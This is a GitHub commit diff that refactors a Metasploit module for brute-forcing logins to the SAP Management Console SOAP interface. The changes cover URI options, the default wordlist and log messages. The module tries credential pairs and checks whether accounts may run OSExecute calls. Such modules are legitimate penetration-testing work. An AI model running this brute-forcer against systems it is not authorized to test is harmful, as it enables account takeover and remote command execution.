Skip to content

Commit 0990037

Browse files
committed
Land rapid7#3422, SAP Bruterforcer datastore cleanup
2 parents bf1a665 + b997c2a commit 0990037

File tree

1 file changed

+27
-37
lines changed

1 file changed

+27
-37
lines changed

modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb

Lines changed: 27 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -16,13 +16,10 @@ def initialize
1616
super(
1717
'Name' => 'SAP Management Console Brute Force',
1818
'Description' => %q{
19-
This module simply attempts to brute force the username |
20-
password for the SAP Management Console SOAP Interface. By
21-
setting the SAP SID value, a list of default SAP users can be
22-
tested without needing to set a USERNAME or USER_FILE value.
23-
The default usernames are stored in
24-
./data/wordlists/sap_common.txt (the value of SAP SID is
25-
automatically inserted into the username to replce <SAPSID>).
19+
This module simply attempts to brute force the username and
20+
password for the SAP Management Console SOAP Interface. If
21+
the SAP_SID value is set it will replace instances of <SAPSID>
22+
in any user/pass from any wordlist.
2623
},
2724
'References' =>
2825
[
@@ -36,49 +33,43 @@ def initialize
3633
register_options(
3734
[
3835
Opt::RPORT(50013),
39-
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', '']),
40-
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
36+
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', nil]),
37+
OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']),
38+
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
39+
File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ])
4140
], self.class)
4241
register_autofilter_ports([ 50013 ])
4342
end
4443

45-
def run_host(ip)
44+
def run_host(rhost)
45+
uri = normalize_uri(target_uri.path)
4646
res = send_request_cgi({
47-
'uri' => normalize_uri(datastore['URI']),
47+
'uri' => uri,
4848
'method' => 'GET'
49-
}, 25)
49+
})
5050

5151
if not res
52-
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
52+
print_error("#{peer} [SAP] Unable to connect")
5353
return
5454
end
5555

56-
if datastore['SAP_SID'] != ''
57-
if !datastore['USER_FILE'].nil?
58-
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
59-
elsif !datastore['USERPASS_FILE'].nil?
60-
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
61-
else
62-
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Setting default SAP wordlist")
63-
datastore['USER_FILE'] = Msf::Config.data_directory + '/wordlists/sap_common.txt'
64-
end
65-
end
56+
print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID']
6657

6758
each_user_pass do |user, pass|
68-
enum_user(user,pass)
59+
enum_user(user,pass,uri)
6960
end
7061

7162
end
7263

73-
def enum_user(user, pass)
64+
def enum_user(user, pass, uri)
7465

7566
# Replace placeholder with SAP SID, if present
76-
if datastore['SAP_SID'] != ''
67+
if datastore['SAP_SID']
7768
user = user.gsub("<SAPSID>", datastore["SAP_SID"].downcase)
7869
pass = pass.gsub("<SAPSID>", datastore["SAP_SID"])
7970
end
8071

81-
print_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
72+
print_status("#{peer} - Trying username:'#{user}' password:'#{pass}'")
8273
success = false
8374

8475
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
@@ -103,7 +94,7 @@ def enum_user(user, pass)
10394

10495
begin
10596
res = send_request_raw({
106-
'uri' => normalize_uri(datastore['URI']),
97+
'uri' => uri,
10798
'method' => 'POST',
10899
'data' => data,
109100
'headers' =>
@@ -113,9 +104,9 @@ def enum_user(user, pass)
113104
'Content-Type' => 'text/xml; charset=UTF-8',
114105
'Authorization' => 'Basic ' + user_pass
115106
}
116-
}, 45)
107+
})
117108

118-
return if not res
109+
return unless res
119110

120111
if (res.code != 500 and res.code != 200)
121112
return
@@ -136,17 +127,17 @@ def enum_user(user, pass)
136127
end
137128

138129
rescue ::Rex::ConnectionError
139-
print_error("#{rhost}:#{rport} [SAP #{rhost}] Unable to connect")
130+
print_error("#{peer} [SAP] Unable to connect")
140131
return
141132
end
142133

143134
if success
144-
print_good("#{rhost}:#{rport} [SAP] Successful login '#{user}' password: '#{pass}'")
135+
print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'")
145136

146137
if permission
147-
vprint_good("#{rhost}:#{rport} [SAP] Login '#{user}' authorized to perform OSExecute calls")
138+
vprint_good("#{peer} [SAP] Login '#{user}' authorized to perform OSExecute calls")
148139
else
149-
vprint_error("#{rhost}:#{rport} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
140+
vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
150141
end
151142

152143
report_auth_info(
@@ -160,10 +151,9 @@ def enum_user(user, pass)
160151
:target_host => rhost,
161152
:target_port => rport
162153
)
163-
return
164154
else
165-
vprint_error("#{rhost}:#{rport} [SAP] failed to login as '#{user}':'#{pass}'")
166-
return
155+
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
167156
end
168157
end
169158
end
159+

0 commit comments

Comments
 (0)